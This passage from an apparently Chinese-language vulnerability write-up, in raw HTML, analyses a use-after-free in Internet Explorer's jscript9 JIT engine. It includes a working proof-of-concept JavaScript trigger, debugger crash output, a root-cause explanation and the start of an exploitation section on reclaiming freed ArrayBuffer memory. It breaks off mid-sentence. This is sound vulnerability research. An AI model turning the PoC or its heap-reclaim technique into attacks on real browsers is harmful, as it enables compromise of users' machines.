border-box;color: rgb(230, 192, 123);line-height: 26px;">ArrayBuffer</span>(<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x8c</span>);<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> fa = <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">Float32Array</span>(ab);<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> obj = {};<br style="box-sizing: border-box;"/>obj.valueOf = <span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span>(<span style="box-sizing: border-box;line-height: 26px;"></span>) </span>{<br style="box-sizing: border-box;"/>    worker = <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">new</span> Worker(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;worker.js&#39;</span>);<br style="box-sizing: border-box;"/>    worker.postMessage(ab, [ab]);<br style="box-sizing: border-box;"/>    worker.terminate();<br style="box-sizing: border-box;"/>    worker = <span style="box-sizing: border-box;color: rgb(86, 182, 194);line-height: 26px;">null</span>;<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> start = <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">Date</span>.now();<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">while</span> (<span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">Date</span>.now() - start &lt; <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">200</span>) {}<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">return</span> <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span><br style="box-sizing: border-box;"/>};<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span> <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">opt</span>(<span style="box-sizing: border-box;line-height: 26px;">a, b, c, d</span>) </span>{<br style="box-sizing: border-box;"/>    a = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">1</span>;<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">arguments</span>.push = <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">Array</span>.prototype.push;<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">arguments</span>.length = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>;<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">arguments</span>.push(d);<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">if</span> (c) {<br style="box-sizing: border-box;"/>        a = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">2</span>;<br style="box-sizing: border-box;"/>    }<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>    b[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>] = a;<br style="box-sizing: border-box;"/>};<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">for</span> (<span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> i = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>; i &lt; <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x100000</span>; i++) {<br style="box-sizing: border-box;"/>    opt(<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">1</span>, fa, <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">1</span>, <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">1</span>);<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>opt(<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">1</span>, fa, <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>, obj);<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">先开启页堆<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">hpa</code>，<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">poc</code>跑一遍，看看出啥问题。</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe&#34;</span> -i iexplore.exe +hpa<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">崩溃现场如下。<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ftsp</code>是将浮点寄存器<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">st0</code>中的值存储到对应内存中的意思，崩溃现场即是将<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0.0</code>存储到地址<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">11d81f70 </code>中。</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">This exception may be expected and handled.<br/>eax=11d81f70 ebx=1197d480 ecx=00000000 edx=00000116 esi=0de3bad0 edi=1ff61e00<br/>eip=5d046083 esp=07cbc844 ebp=07cbc844 iopl=0         nv up ei pl zr na pe cy<br/>cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010247<br/>jscript9!Js::JavascriptConversion::ToFloat_Helper+0x13:<br/>5d046083 d918            fstp    dword ptr [eax]      ds:0023:11d81f70=????????<br/>0:008&gt; r st0<br/>st0= 0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e+0000 (0:0000:0000000000000000)<br/></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">崩溃的成因是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">opt</code>函数经过优化编译过后，<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">b[0]=a</code>所对应的代码会认为<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">a</code>一直都是浮点数，不会有<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">side effect</code>，因此直接调用<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ToFloat_Helper</code>将<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">a</code>转化成浮点数并赋值给<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">b[0]</code>。但是实际上在前面的代码中<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">arguments.push</code>会改变对象<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">arguments[0]</code>（即对象<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">a</code>的类型），导致在<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">b[0]=a</code>赋值的时候可以触发回调函数。但是此时代码中缺少了对<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">a</code>的类型的检查，导致漏洞的形成。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">在<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">poc</code>中，触发漏洞时对象<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">a</code>的回调函数是调用<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">postMessage</code>将<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ArrayBuffer</code>传递给<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">worker</code>，<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">postMessage</code>将数据传递给<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">worker</code>的同时，本线程就会失去对当前<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ArrayBuffer</code>的所属，该<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ArrayBuffer</code>就会被释放，但是后续在<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">opt</code>函数中<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">b[0]=a</code>，仍然将对象<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">a</code>返回值的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0.0</code>赋值给<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">b[0]</code>，导致形成<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">UAF</code>漏洞。此处也是因为我们开启了页堆，所以将<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0.0</code>当写入到已释放的内存<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ArrayBuffer 0x11d81f70</code>的时候就报错了。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">漏洞分析部分本应还包含代码层面的分析的，但是苦于对<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">js9</code>架构机制不太熟，所以只能从原理层面对漏洞成因进行分析，后续有能力再从代码层面进一步分析。</p><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">漏洞利用</span><span style="box-sizing: border-box;"></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">上面的漏洞我们得到了一个<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">UAF</code>漏洞，即在回调函数中我们释放掉了<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ArrayBuffer</code>数据内存，同时后续在优化编译函数中仍然可以对该内存进行读写操作。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">首先要搞清楚的是我们使用什么来占用被释放掉的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ArrayBuffer</code>数据内存。在前面的基础知识中已经阐述过，<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ArrayBuffer</code>数据内存是由进程堆分配的，<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>数据结构也是由进程堆分配的，因此如果我们利用漏洞释放掉<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ArrayBuffer</code>数据内存后，再利用<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>占用该内存，后续再对<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ArrayBuffer</code>数据进行读写的时候，实质上就是对<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>数据结构进行读写。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">这里要搞清楚的是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>数据结构大小是多少，很多文章都说该数据结构大小是根据申请的内存大小动态变化的，当申请<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">new Array((0x1000 - 0x20) / 4)</code>即<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0x1000</code>大小的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Array</code>的时候，<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 